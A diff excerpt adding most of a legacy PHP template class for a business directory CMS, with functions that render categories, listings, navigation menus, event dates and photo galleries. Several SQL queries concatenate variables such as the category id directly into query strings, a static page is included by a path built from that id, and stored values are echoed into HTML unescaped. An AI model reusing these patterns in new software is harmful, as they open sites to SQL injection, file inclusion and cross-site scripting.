+ $outtext .= '<span class="'.$tmp[1].'"> </span>';
+ }
+ $outtext .= '</p>';
+ }
+ return( $outtext );
+ }
+
+ /**
+ * set_address:set_address
+ * @param array $data: data contain the address info for display.
+ *
+ * @return string $address
+ * @access public
+ **/
+ function set_address( $data )
+ {
+ $address = "";
+ if( $data["address"] )
+ {
+ $address .= $data["address"];
+ }
+ if( $data["city"] && $data["state"] && $data["zip"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+ }
+ elseif( $data["city"] && $data["state"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"];
+ }
+ elseif( $data["city"] )
+ {
+ $address .= '<br>'.$data["city"];
+ }
+ if( $address != "" )
+ {
+ return( ''.$address.'<br></p>' );
+ }
+ }
+
+ /**
+ * get_all:Does the query and set_data calls boths arrays
+ *
+ * @uses GLM_TEMPLATE::set_data()
+ * @uses GLM_TEMPLATE::$data
+ * @uses GLM_TEMPLATE::$items
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_all( $type = NULL )
+ {
+ $catid = $this->catid;
+ if( $type == 1 || !$type )
+ {
+ $cat_query = "select * from bus_category where id = $catid order by pos";
+ $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+ $this->data = $res[0];
+ }
+ if( $type == 2 || !$type )
+ {
+ $item_query = "select b.* from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where bcb.catid = $catid order by bcb.pos";
+ $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+ }
+ }
+
+ /**
+ * call all class methods to set tho data elements
+ *
+ * <p>This is hightly dependant on the three tables of bus bus_category and bus_category_bus
+ * set_data:Calls each function of the class
+ * based on the key af the array $data[0][$key]</p>
+ * @todo Really need to look at enhancing this function for different datasetups.
+ * @param array $data: The input array from db query
+ * @uses GLM_TEMPLATE::$img_size
+ * @uses GLM_TEMPLATE::$img_align
+ * @uses GLM_TEMPLATE::$img_alternate
+ * @uses GLM_TEMPLATE::set_text()
+ * @uses GLM_TEMPLATE::set_header()
+ * @uses GLM_TEMPLATE::set_subheader()
+ * @uses GLM_TEMPLATE::set_url()
+ * @uses GLM_TEMPLATE::set_address()
+ * @uses GLM_TEMPLATE::set_img()
+ * @uses GLM_TEMPLATE::set_email()
+ * @uses GLM_TEMPLATE::set_phone()
+ *
+ * @return array data The finished array
+ * @access public
+ **/
+ function set_data( $data )
+ {
+ if( is_array( $data ) )
+ {
+ foreach( $data as $k => $val )
+ {
+ foreach( $val as $key => $value )
+ {
+ if( strstr( $key, "image" ) && !strstr( $key, "name") && $value != "" )
+ {
+ $titletag = ( $data[$k]['category'] ) ? $data[$k]['category'] : $data[$k]['name'];
+ //$data[$k][$key."_name"] = $value;
+ $data[$k][$key] = $this->set_img( $value, $this->img_size, $this->img_align, $titletag, $data[$k][$key."name"] );
+ if( !strstr( $key, "name" ) )
+ {
+ if( $this->img_align == "right" && $this->img_alternate )
+ {
+ $this->img_align = "left";
+ }
+ elseif( $this->img_alternate )
+ {
+ $this->img_align = "right";
+ }
+ }
+ }
+ elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"descr") && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ elseif( $key == "contactname" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+ }
+ elseif($key == "name" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( strstr( $key, "header" ) && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( $key == "intro" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "category" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "url" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+ }
+ elseif( $key == "email" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+ }
+ elseif( $key == "phone" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+ }
+ elseif( $key == "fax" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+ }
+ elseif (strstr( $key, "file" ) && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'] );
+ }
+ elseif( $key == "address" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_address( $data[$k] );
+ }
+ elseif( $key == "id" )
+ {
+ $data[$k][$key] = $value;
+ }
+ else
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ }
+ }
+ return( $data );
+ }
+ return( false );
+ }
+
+ /**
+ * load_static_page:using object buffer include the page $catid.phtml from static dir
+ and return it as string
+ *
+ * @return string $text
+ * @access public
+ **/
+ function load_static_page()
+ {
+ if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+ {
+ ob_start();
+ include("static/".$this->catid.".phtml");
+ $text = ob_get_contents();
+ ob_end_clean();
+ return($text);
+ }
+ }
+
+ /**
+ * clean_text:Do some text clean up.
+ * @param string $output:
+ *
+ * @return string text cleaned
+ * @access public
+ **/
+ function clean_text($output)
+ {
+ $output = str_replace("<br />","<br>",$output);
+ $output = str_replace("<p><br></p>","",$output);
+ return($output);
+ }
+
+ /**
+ * get_category: grab just category contents
+ * @param integer $catid: id of bus_category
+ * @param object $DB:
+ * @param boolean $showimg=1: weather or not to show category image
+ * @uses DELUXE_TOOLBOX
+ * @uses HOME_PAGE_EVENTS
+ * @uses GLM_TEMPLATE::clean_text()
+ * @uses GLM_TEMPLATE::get_home_events()
+ *
+ * @return string $output
+ * @access public
+ **/
+ function get_category( $showimg = 1,$showdiv=1 )
+ {
+ if( DELUXE_TOOLBOX )
+ {
+ $this->get_template( "cat" );
+ }
+
+ if( !$this->data )
+ {
+ $this->get_all( 1 );
+ }
+ $data = $this->data;
+ if( !$data["image"] && !$data["description"] && !$data["intro"] && ( $this->catid != 1 && HOME_PAGE_EVENTS != true ) )
+ {
+ return( false );
+ }
+ if($showdiv==1)
+ {
+ $output .= '<div id="category">'."\n";
+ }
+ if( $this->catid == 1 && HOME_PAGE_EVENTS )
+ {
+ $output .= $this->get_home_events();
+ }
+ if($data["image"] || $data["description"] || $data["intro"] )
+ {
+ if($showimg == 1)
+ {
+ $output .=$data["image"]." ";
+ }
+ $output .=$data["intro"]." ";
+ $output .=$data["description"]." ";
+ }
+ if($showdiv==1)
+ {
+ $output .= '</div>'."\n";
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+
+ }
+
+ function photo_module()
+ {
+ $query = "select photocat_id from photo_category_bus where buscat_id = $this->catid;";
+ if( $pData = $this->DB->db_auto_get_data( $query ) )
+ {
+ if( count( $pData ) > 1 )
+ {
+ foreach( $pData as $pKey => $pVal )
+ {
+ $photocatid[] = $pVal['photocat_id'];
+ }
+ }
+ else
+ {
+ $photocatid = $pData[0]['photocat_id'];
+ }
+ if( is_numeric( $photocatid ) || is_array( $photocatid ) )
+ {
+ if( !$_GET['photo_catid'] )
+ {
+ $_GET['photo_catid'] = $photocatid;
+ }
+ ob_start();
+ include_once('classes/class_photos.inc');
+ $Photo =& new GLM_PHOTOS();
+ if( is_array( $_GET['photo_catid'] ) )
+ {
+ $cats = implode(',',$_GET['photo_catid']);
+ echo $Photo->getPhotoCats( $cats );
+ }
+ elseif( is_numeric( $_GET['id'] ) && is_numeric( $_GET['photo_catid'] ) )
+ {
+ echo $Photo->viewPhoto( $_GET['photo_catid'], $_GET['id'] );
+ }
+ elseif( $_GET['photo_catid'] )
+ {
+ $url = $this->get_seo_url( $this->catid );
+ echo '<div class="header"><a href="'.$url.'">Back to '.$this->get_catheader( $this->catid, $this->DB ).'</a></div>';
+ echo $Photo->getPhotos( $_GET['photo_catid'] );
+ }
+ include( BASE.'static/photo.php' );
+ $out .= ob_get_contents();
+ ob_end_clean();
+ }
+ }
+ }
+
+ /**
+ * get_page: replacing template_parser with get-page function
+ *
+ * @uses GLM_TEMPLATE::get_category() For building the main page section
+ * @uses GLM_TEMPLATE::get_listings() For building out the paragraph sections
+ *
+ * @return string $out NEED to echo results of this function
+ * @access public
+ **/
+ function get_page( $showimg = 1,$showdiv=1 )
+ {
+ if( $this->Member->member_sections[$this->catid] )
+ {
+ if( !$_GET['memb_type'] && !$_GET['id'] && !$_GET['city'] )
+ {
+ $out .= $this->get_category( $showimg,$showdiv );
+ $out .= $this->get_listings();
+ }
+ $out .= $this->Member->get_member_records();
+ }
+ else
+ {
+ $out .= $this->get_category( $showimg,$showdiv );
+ $out .= $this->get_listings();
+ }
+ if( PHOTO_GALLERY )
+ {
+ $this->photo_module();
+ }
+ return( $out );
+ }
+
+ /**
+ * get_template: get the template type of the bus_category
+ * @param mixed $type : 'cat' or 'list'
+ *
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_template( $type )
+ {
+ $query = "select template from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ switch( $type )
+ {
+ case "cat":
+ switch( $data[0]['template'] )
+ {
+ case "5":
+ case "4":
+ case "2":
+ $this->img_align = "left";
+ break;
+
+ default:
+ $this->img_align = "right";
+ break;
+ }
+ break;
+
+ case "list":
+ switch( $data[0]['template'] )
+ {
+ case "5":
+ $this->img_align = "right";
+ $this->img_alternate = 0;
+ break;
+ case "4":
+ $this->img_align = "right";
+ $this->img_alternate = 1;
+ break;
+
+ case "3":
+ $this->img_align = "left";
+ $this->img_alternate = 1;
+ break;
+
+ case "2":
+ $this->img_align = "left";
+ $this->img_alternate = 0;
+ break;
+
+ case "1":
+ $this->img_align = "right";
+ $this->img_alternate = 0;
+ break;
+
+ default:
+ break;
+ }
+ break;
+ }
+ return( $this->template = $data[0]['template'] );
+ }
+ /**
+ * template_parser:This function creates data
+ * and items arrays and does the output for the page.
+ *
+ * @uses DELUXE_TOOLBOX
+ * @uses GLM_TEMPLATE::$items
+ * @uses GLM_TEMPLATE::get_template()
+ * @uses GLM_TEMPLATE::get_all()
+ * @uses GLM_TEMPLATE::load_static_page()
+ * @uses GLM_TEMPLATE::clean_text()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_listings()
+ {
+ // grab category and items into data and items respectfully
+ if( DELUXE_TOOLBOX )
+ {
+ $this->get_template( "list" );
+ }
+
+ if( !is_array( $this->items ) )
+ {
+ $this->get_all( 2 );
+ }
+
+ // load any static category page from the static directory
+ // hard codded content would have $catid.phtml page for it
+ $output .= $this->load_static_page();
+ switch($this->type)
+ {
+
+ default:
+ if(is_array($this->items))
+ {
+ foreach($this->items as $key=>$val)
+ {
+ $output .= '<div class="clearer"></div>';
+ // items can be moved around as needed
+ $output .= '<div class="listing">'."\n";
+ $output .= $val["image"];
+ $output .= $val["name"];
+ $output .= $val["address"];
+ $output .= $val["description"];
+ $output .= $val["contactname"];
+ $output .= $val["email"];
+ $output .= $val["phone"];
+ $output .= $val["fax"];
+ $output .= $val["url"];
+ $output .= $val["file"];
+ $output .= $val["file2"];
+ $output .= $val["file3"];
+ $output .= "</div>"."\n";
+ }
+ }
+ break;
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+ }
+
+ /**
+ * sub_nav:Create a sub navigation 4 across
+ *
+ * @param integer $catid: The catid for the page
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function sub_nav($catid)
+ {
+ //$catid = $this->get_top_parent($catid);
+ $query = "SELECT id,category,intro FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $counter = 1;
+ $out = '';
+ foreach($data as $key=>$val)
+ {
+ $url = $this->get_seo_url( $val['id'] );
+ $title = strip_tags(addslashes($val['intro']));
+ //GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_Name( $val['id'],"bus_category",$this->DB ) );
+ $out .= '<a title="'.$title.'" href="'.$url.'">';
+ $out .= $val["category"];
+ $out .= '</a><br>';
+ }
+ }
+ return( $out );
+ }
+
+ /**
+ * get_home_events: get events flaged as home events
+ * @param object $DB: DB reference to DB obj
+ *
+ * @uses GLM_TEMPLATE::get_event_date()
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_home_events()
+ {
+ $query = "select id,header,substr(descr,0,30) as descr,bdate,edate,img from event where home = 't' and visable='t' and edate >= current_date;";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $output = '<div id="events">UPCOMING EVENTS<div id="eventsbox">
+ ';
+ foreach($data as $key=>$value)
+ {
+ $id = $value['id'];
+ $header = $value['header'];
+ $title = strip_tags(addslashes($header));
+ $sdate = strtotime($value['bdate']);
+ $edate = strtotime($value['edate']);
+ $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ $output .= $dates;
+ $output .= '<h3><a title="" href="events.phtml?eventid='.$id.'">'.$header.'</a></h3>';
+ }
+ $output .= '</div></div>';
+ return($output);
+ }
+ else
+ {
+ return( '' );
+ }
+ }
+
+ /**
+ * get_event_date: make the event date human readable
+ * @param string $sdate: start date
+ * @param string $edate: end date
+ * @param string $dateType: dateType Postgres,etc
+ *
+ * @return string
+ * @access public
+ **/
+ function get_event_date($sdate,$edate,$dateType)
+ {
+ switch($dateType)
+ {
+ case "Postgres":
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+ {
+ $mon = $spt[1];
+ $day = $spt[2];
+ $yr = $spt[3];
+ }
+
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+ {
+ $mon2 = $ept[1];
+ $day2 = $ept[2];
+ $yr2 = $ept[3];
+ }
+ break;
+
+ case "timestamp":
+ $mon = date("m",$sdate);
+ $day = date("d",$sdate);
+ $yr = date("Y",$sdate);
+ $mon2 = date("m",$edate);
+ $day2 = date("d",$edate);
+ $yr2 = date("Y",$edate);
+ break;
+
+ }$start = mktime(0,0,0,$mon,$day,$yr);
+ $end = mktime(0,0,0,$mon2,$day2,$yr2);
+ if ($day == $day2 && $mon == $mon2 && $yr == $yr2)
+ {
+ $dateparam = "F jS, Y";
+ $date_begin = date($dateparam, $start) ;
+ $date_end = "";
+ }
+ elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ else
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+
+ return($date_begin." ".$date_end);
+ }
+
+ /**
+ * is_sub_id:Check to see if catid is sub of category
+ *
+ * @param integer $catid: the catid looking at
+ * @param integer $category: to see if it is in category
+ * @param object $DB: Db object reference
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return bool
+ * @access public
+ **/
+ function is_sub_id($catid,$category,&$DB)
+ {
+ if( !is_numeric( $catid ) )
+ {
+ return( false );
+ }
+ if($category==$catid)
+ {
+ return(true);
+ }
+ $query = "select id,parent from bus_category where id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ $parent = $data[0]['parent'];
+ if($parent == 0)
+ {
+ return(false);
+ }
+ else
+ {
+ return( GLM_TEMPLATE::is_sub_id($parent,$category,&$DB) );
+ }
+ }
+
+ /**
+ * get_parent: get parent for this category
+ *
+ * @param integer $catid: id
+ * @param object $DB: database obj
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return int $parent
+ * @access public
+ **/
+ function get_parent($catid,&$DB)
+ {
+ $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ return( $data[0]["parent"] );
+ }
+
+ /**
+ * get_sub_nav:
+ * @param integer $catid:
+ * @param object $DB:
+ *
+ * @uses GLM_TEMPLATE::get_parent()
+ * @uses GLM_TEMPLATE::get_seo_url()
+ * @uses GLM_TEMPLATE::is_sub_id()
+ * @uses GLM_TEMPLATE::get_sub_nav()
+ * @uses GLM_TEMPLATE::has_subs()
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function get_sub_nav($catid,&$DB)
+ {
+ $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+ //echo $parentid.'<br>';
+ $query = "SELECT id,category,intro FROM bus_category WHERE parent = $parentid ".$this->active_query." ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $output = '<div id="subnav">';
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ $url = $this->get_seo_url( $val['id'] );
+ $title = strip_tags(addslashes($val['intro']));
+ if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+ {
+ $output .= '<a title="'.$title.'" class="current" href="'.$url.'">';
+ }
+ else
+ {
+ $output .= '<a title="'.$title.'" href="'.$url.'">';
+ }
+ $output .= $val["category"];
+ $output .= '</a>';
+ if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+ {
+ $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+ }
+ }
+ $output .= '</div>';
+ $output = GLM_TEMPLATE::clean_text($output);
+ echo $output;
+ }
+ return(false);
+ }
+
+ /**
+ * has_subs:
+ * @param integer $catid:
+ * @param object $DB:
+ *
+ * @uses GLM_TEMPLATE::$active_query
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function has_subs($catid,&$DB)
+ {
+ $query = "SELECT id FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+
+
+ /**
+ * get_top_parent:Get the highest level parent id (not 0 )for the category.
+ *
+ * <p><b>NOTICE:</b> This is ment to get the top level parent not the parent of the id given.</p>
+ *
+ * @param integer $id: The catid for the page.
+ * @param object $DB: obj
+ * @uses GLM_TEMPLATE::get_top_parent()
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return int $parent
+ * @access public
+ **/
+ function get_top_parent($id,&$DB)
+ {
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = $DB->db_auto_get_data( $qs );
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( GLM_TEMPLATE::get_top_parent($parentrow[0]['parent'],&$DB) );
+ }
+ }
+
+ /**
+ * show_catimg:output the category image.
+ *
+ * @param integer $catid: The catid for the page.
+ * @uses GLM_TEMPLATE::MIDSIZED
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function show_catimg($catid)
+ {
+ $query = "SELECT image FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0]["image"]!="")
+ {
+ $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+ }
+ else
+ {
+ $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+ }
+ echo $img;
+ echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+ }
+
+
+ /**
+ * get_catheader:output the category name.
+ *
+ * @param integer $catid: The catid for the page
+ * @param object $DB: db obj
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_catheader($catid,$DB)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ if($data[0]['category']!="")
+ {
+ $header = strip_tags($data[0]['category']);
+ }
+ else
+ {
+ $header = '';
+ }
+ return( $header );
+ }
+
+ /**
+ * get_catintro: return the category page name.
+ *
+ * @param integer $catid: The catid for the page
+ * @param object $DB: db obj
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_catintro($catid)
+ {
+ $query = "SELECT intro FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0]['intro']!="")
+ {
+ $header = strip_tags($data[0]['intro']);
+ }
+ else
+ {
+ $header = '';
+ }
+ return( $header );
+ }
+
+ /**
+ * show_catheader:
+ *
+ * @param integer $catid:
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function show_catheader($catid)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0][category]!="")
+ {
+ $header = $data[0][category];
+ }
+ else
+ {
+ $header = ' ';
+ }
+ echo $header;
+ }
+
+ /**
+ * get_menu_string:get categories for the phplayermenu
+ *
+ * @uses GLM_TEMPLATE::sort_childs()
+ * @uses GLM_TEMPLATE::convert_to_thread()
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function get_menu_string()
+ {
+ $query = "SELECT id,parent,category FROM bus_category WHERE active = 't' ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = GLM_TEMPLATE::sort_childs($data);
+ $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+ return($string);
+ }
+
+
+ /**
+ * get_menu_array: like get_menu_string but returns an array
+ *
+ * @uses GLM_TEMPLATE::sort_childs()
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function get_menu_array()
+ {
+ $query = "SELECT id,parent,category FROM bus_category WHERE active='t' ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = GLM_TEMPLATE::sort_childs($data);
+ return $newdata;
+ }
+
+ /**
+ * sort_childs:
+ * @param array $threads:
+ *
+ * @return string
+ * @access public
+ **/
+ function sort_childs($threads)
+ {
+ foreach($threads as $var=>$value)
+ {
+ $childs[$value["parent"]][$value["id"]] = $value;
+ }
+ return($childs);
+ }
+
+ /**
+ * convert_to_thread:
+ *
+ * @param array $threads:
+ * @param array $thread:
+ * @uses GLM_TEMPLATE::$thread_count
+ * @uses GLM_TEMPLATE::$whole_thread
+ * @uses GLM_TEMPLATE::get_seo_url()
+ * @uses GLM_TEMPLATE::convert_to_thread()
+ *
+ * @return string
+ * @access public
+ **/
+ function convert_to_thread($threads, $thread)
+ {
+ foreach($thread as $parent=>$value)
+ {
+ $this->whole_thread .= str_repeat(".",$this->thread_count);
+ $this->whole_thread .= "|".htmlentities($value['category']);
+ $url = $this->get_seo_url( $value['id'] );
+ $this->whole_thread .= "|".$url;
+ $this->whole_thread .="\n";
+ if($threads[$parent])
+ {
+ $this->thread_count++;
+ GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+ }
+ }
+ $this->thread_count--;
+ return $this->whole_thread;
+ }
+
+
+ /**
+ * has_children: return true or false if this category has sub categories under it.
+ *
+ * @param integer $catid:
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function has_children($catid)
+ {
+ // returns number of children that $catid has
+ $qs="SELECT count(*) FROM bus_category WHERE parent=$catid";
+ $row=$this->DB->db_auto_get_data($qs);
+ return $row[0]['count'];
+ }
+
+ /**
+ * get_ancestors:get the ancestors for this category
+ *
+ * @param integer $catid: catid
+ * @param integer $count: starting counter
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return array
+ * @access public
+ **/
+ function get_ancestors($catid,$count)
+ {
+ if( $count == 0 )
+ {
+ unset( $this->ancestors );
+ }
+ if($catid)
+ {
+ $query = "SELECT id,category,parent
+ FROM bus_category
+ WHERE id = ".$catid."
+ ".$this->active_query;
+ $res = $this->DB->db_auto_get_data($query);
+ $id = $res[0]['id'];
+ $parent = $res[0]['parent'];
+ $category = $res[0]['category'];
+ $this->ancestors[$count]['id'] = $id;
+ $this->ancestors[$count]['label'] = $category;
+
+ $url = $this->get_seo_url( $id );
+ $this->ancestors[$count]['link'] = $url;
+ GLM_TEMPLATE::get_ancestors($parent,$count+1,$conn);
+
+ return (array_reverse($this->ancestors) );
+ }
+ }
+
+ /**
+ * meta_tags: create the meta description content for this page.
+ * this is taken from the category description.
+ * this should be only done for all but the home page.
+ * $meta = ( $catid != 1 ) ? $toolbox->meta_tags() : '';
+ *
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function meta_tags()
+ {
+ $query = "select description from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ $description = htmlentities( substr( strip_tags( $data[0]['description'] ), 0, 250 ) );
+ return( $description );
+ }
+
+ /**
+ * title: create the title for the page.
+ * this should be only done for all but the home page.
+ * $title = ( $catid != 1 ) ? $toolbox->title() : '';
+ *
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function title()
+ {
+ $query = "select category,intro from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ if( $data[0]['intro'] )
+ {
+ $title = strip_tags( $data[0]['intro'] );
+ }
+ else
+ {
+ $title = strip_tags( $data[0]['category'] );
+ }
+ return( htmlentities( $title.' - ' ) );
+ }
+
+ /**
+ * get_bottom_nav: generate a top level only bottom navigation for the pages.
+ *
+ * @param integer $parent=0:
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function get_bottom_nav($parent=0)
+ {
+ $return='';
+ $qs="SELECT id, category,intro FROM bus_category WHERE active = 't' and id != 1 and parent=$parent ORDER BY pos ASC";
+ $row=$this->DB->db_auto_get_data($qs);
+ $links[] = $this->get_seo_url(HOME_ID);
+ if( !is_array( $row ) )
+ {
+ return FALSE;
+ }
+ else
+ {
+ for( $i=0; $i<sizeof( $row ); $i++)
+ {
+ $title = strip_tags(addslashes($row[$i]['intro']));
+ $url = $this->get_seo_url( $row[$i]['id'] );
+ $links[] = '<a title="'.$title.'" href="'.$url.'">'.$row[$i]['category']."</a>\n";
+ }
+ if( is_array( $links) )
+ {
+ $return = implode(" | ",$links);
+ }
+ return $return;
+ }
+ }
+
+
+ /**
+ * make_ul_menu: create url list of categories
+ *
+ * @param integer $parent parent to start from
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function make_ul_menu( $parent = 0 )
+ {
+ $qs = "SELECT id,category,intro FROM bus_category WHERE parent = $parent AND active = 't' ORDER BY pos";
+ $data = $this->DB->db_auto_get_data($qs);
+ if(!is_array($data))
+ {
+ return( false );
+ }
+ else
+ {
+ foreach( $data as $key => $row )
+ {
+ $url = $this->get_seo_url( $row['id'] );
+ $title = strip_tags(addslashes($row['intro']));
+ $return.='
+ <li><a title="'.htmlentities($title).'" href="'.$url.'"';
+ if( $this->catid == $row['id'] )
+ {
+ $return .= ' id="current"';
+ }
+ $return .= '>'.htmlentities($row['category'])."</a>";
+ if( $this->has_subs( $row['id'], &$this->DB ) && ( $this->is_sub_id( $this->catid, $row['id'], &$this->DB ) || $this->catid == $row['id'] ) )
+ {
+ $ret2 = $this->make_ul_menu( $row['id'] );
+ $return.=$ret2;
+ }
+ $return.="
+ </li>";
+ }
+ if( $parent == 0 )
+ {
+ $return = '
+ <ul id="navlist">'.$return.'<li><a href="'.BASE_URL.'members-1000/">Edit Your Business Listing</a></li></ul>
+ ';
+ return( $return );
+ }
+ else
+ {
+ $return = '
+ <ul>'.$return.'</ul>
+ ';
+ return( $return );
+ }
+ }
+ }
+
+
+ /**
+ * make_custom_menu: Don't really know about why this is here
+ *
+ * @param integer $parent:
+ * @param integer $url='':
+ * @param boolean $onhome=0:
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @deprecated Should you maybe create new class for custom stuff
+ * @return string
+ * @access public
+ **/
+ function make_custom_menu($parent,$url='',$onhome=0)
+ {
+ $url==''?$url=$_SERVER['PHP_SELF']:'';
+ //$url=BASE_URL;
+ if($onhome==1)
+ {
+ //$opt="AND onhome='t' ";
+ $qs="SELECT id,category,image,intro FROM bus_category WHERE onhome='t' AND active='t' ORDER BY homepos ASC";
+ }else
+ {
+ $qs="SELECT id,category,image,intro FROM bus_category WHERE parent=$parent $opt AND active='t' ORDER BY pos";
+ }
+
